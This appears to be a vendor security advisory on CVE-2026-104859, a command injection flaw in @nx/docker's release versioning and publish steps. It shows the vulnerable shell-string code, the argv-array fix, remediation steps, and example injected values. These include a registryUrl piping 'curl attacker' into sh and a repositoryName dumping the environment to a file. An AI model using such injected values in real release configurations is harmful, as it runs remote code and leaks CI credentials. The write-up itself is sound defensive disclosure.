critical

CVE

CVE-2026-104859

CWE

CWE-78

Affected Surface

  • npm consumers of `@nx/docker >= 21.4.0 < 22.7.8` and `>= 23.0.0 < 23.1.1`
  • Nx release pipelines that let pull requests, workspace configuration, CLI flags, or environment variables influence Docker image references before running `nx release version` or `nx release publish`
  • CI runners and release hosts that expose registry credentials, cloud tokens, signing material, or Docker daemon access to Nx release jobs

CVE-2026-104859 is a release-pipeline bug, not an application runtime bug. That still puts it squarely in the AppSec blast radius. Nx release jobs usually run on the machines that already hold container-registry credentials, cloud deployment tokens, and access to trusted Docker builders. In affected @nx/docker versions, several values that were meant to describe an image reference were instead treated as shell source code.

The vulnerable path is not hidden in some obscure plugin hook. It lives in the normal nx release version and nx release publish flow for Docker projects. If an attacker can influence the Docker image reference before that flow runs, they can turn a release job into command execution on the machine doing the publish.

Affected versions and why the split range matters

The published boundaries are:

PackageAffected versionsFixed versions
@nx/docker>= 21.4.0 < 22.7.822.7.8
@nx/docker>= 23.0.0 < 23.1.123.1.1

That split is worth calling out. This is not “all Nx versions forever.” It is the modern release-pipeline code shipped in the current major lines teams are likely to be using today.

Where untrusted strings enter the command line

The versioning step assembles a full image reference from multiple sources:

const logs = updateProjectVersion(
  newVersion,
  nxDockerImageRefEnvOverride,
  workspaceRoot,
  projectGraphNode.data.root,
  finalConfigForProject.dockerOptions.repositoryName,
  finalConfigForProject.dockerOptions.registryUrl
)

Then updateProjectVersion() turns those inputs into a single string:

const newImageRef = getImageReference(projectRoot, repositoryName, registry)
const fullImageRef = nxDockerImageRefEnvOverride ?? `${newImageRef}:${newVersion}`

Before the fix, that fullImageRef string went straight into a shell command:

execSync(`docker tag ${imageRef} ${fullImageRef}`, {
  windowsHide: true,
})

That is the first dangerous boundary. repositoryName and registryUrl come from workspace configuration. newVersion can come from a configured version scheme or from the CLI --dockerVersion flag. NX_DOCKER_IMAGE_REF can override the whole value from the environment. In the vulnerable builds, all of them end up inside one interpolated command string.

If any of those values contains shell metacharacters, the shell gets to interpret them before Docker ever sees the argument.

The publish step keeps the same mistake alive

The vulnerability is not limited to docker tag. Nx also writes the calculated image reference to a file under tmp/<project>/.docker-version, then reads it back during publish:

writeFileSync(dockerVersionPath, fullImageRef)

The publish executor uses that stored string in two more shell-built commands:

const childProcess = exec(
  `docker images --filter "reference=${normalizedImageRef}" --quiet`,
  { encoding: 'utf8', windowsHide: true }
)
const childProcess = exec(
  `docker push ${imageReference}${quiet ? ' --quiet' : ''}`,
  {
    encoding: 'utf8',
    maxBuffer: LARGE_BUFFER,
    windowsHide: true,
  }
)

So the attack surface is really three separate command boundaries:

config / env / CLI
  -> fullImageRef
  -> docker tag ...
  -> tmp/<project>/.docker-version
  -> docker images --filter ...
  -> docker push ...

Once the reference has been tainted, the bad data persists into the next release phase.

Dry-run publishing still hit the vulnerable pre-check

One subtle part of the advisory is the dry-run behavior. The top-level publish function does eventually check dryRun, but only after normalizeOptions() has already called findImageReference() and checkDockerImageExistsLocally().

That means this pre-check shell string still runs first:

`docker images --filter "reference=${normalizedImageRef}" --quiet`

So nx release publish --dry-run was not a safe way to inspect suspicious input. The publish job could still execute attacker-controlled shell syntax before it decided not to push.

The upstream regression test shows the exploit model clearly

The fix PR added the kind of regression test that makes the risk obvious:

runCLI(`release version --dockerVersion='1.0.0; touch injected.txt'`, {
  silenceError: true,
})

checkFilesDoNotExist('injected.txt')

That is not a synthetic parser edge case. It is the real exploit shape. In the vulnerable build, ; touch injected.txt would terminate the docker tag command and run a second shell command on the release machine. In the fixed build, Docker rejects the malformed tag, but the extra command never executes.

The same idea applies to values coming from repo-controlled config:

{
  "release": {
    "docker": {
      "registryUrl": "registry.example.com; curl attacker | sh #",
      "repositoryName": "team/app"
    }
  }
}

Or the other way around:

{
  "release": {
    "docker": {
      "registryUrl": "registry.example.com",
      "repositoryName": "team/app; env > /tmp/leak.txt #"
    }
  }
}

If a release pipeline accepts config changes from a pull request and later runs nx release version or nx release publish with elevated credentials, this stops being a harmless bad tag. It becomes CI command execution.

What changed in the fix

The fix is simple and correct. Nx stopped building shell strings and started invoking Docker with argv arrays:

execFileSync('docker', ['tag', imageRef, fullImageRef], {
  windowsHide: true,
})
execFile('docker', ['images', '--filter', `reference=${normalizedImageRef}`, '--quiet'], {
  encoding: 'utf8',
  windowsHide: true,
})
execFile('docker', ['push', imageReference, ...(quiet ? ['--quiet'] : [])], {
  encoding: 'utf8',
  maxBuffer: LARGE_BUFFER,
  windowsHide: true,
})

That changes the security model in the way it should have worked from the start. Metacharacters like ;, &&, |, $(), or backticks remain part of a single argument passed to Docker. They are no longer parsed by /bin/sh -c.

Real exposure conditions

This is not every Nx user. The higher-risk setups are the ones that combine all of these conditions:

  1. the repository resolves a vulnerable @nx/docker version,
  2. the project uses Nx’s Docker release flow,
  3. untrusted contributors or automation can influence release configuration, environment, or flags,
  4. the release job runs with secrets or privileged Docker access.

Common examples include:

  • repos that allow pull requests to edit nx.json, project.json, or generator-produced release config,
  • release workflows that pass environment overrides into Nx,
  • internal platform repos where multiple teams can change Docker release settings,
  • self-hosted runners with long-lived registry, cloud, or signing credentials.

What to check in a real codebase

Start with the resolved package version:

npm ls @nx/docker
pnpm why @nx/docker
yarn why @nx/docker

Then find where release settings and overrides enter the job:

rg -n "@nx/docker|release\\s*:\\s*\\{|repositoryName|registryUrl|dockerVersionScheme" \
  nx.json project.json package.json apps libs packages .github .gitlab-ci.yml .

rg -n "NX_DOCKER_IMAGE_REF|nx release version|nx release publish|--dockerVersion" \
  .github .gitlab-ci.yml scripts Dockerfile .

If your release flow accepts these values from branch content or pull request edits, treat the release pipeline itself as exposed until you upgrade.

Remediation

  1. Upgrade to @nx/docker >= 22.7.8 or >= 23.1.1, depending on your line.
  2. Rebuild lockfiles and release images so the fixed package is what actually runs in CI.
  3. Review release configuration changes from the vulnerable window, especially registryUrl, repositoryName, and any workflow logic that passes --dockerVersion.
  4. Treat NX_DOCKER_IMAGE_REF as privileged input. Do not let untrusted jobs or forked pull requests set it.
  5. Rotate registry credentials and adjacent secrets if a suspicious release job ran on a vulnerable version.

CVE-2026-104859 is a good reminder that CI supply-chain bugs are often smaller than they sound. Here the mistake was not a complex parser bug or a container escape. It was simpler: image-reference text crossed a shell boundary three different times. In a release pipeline, that is enough.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References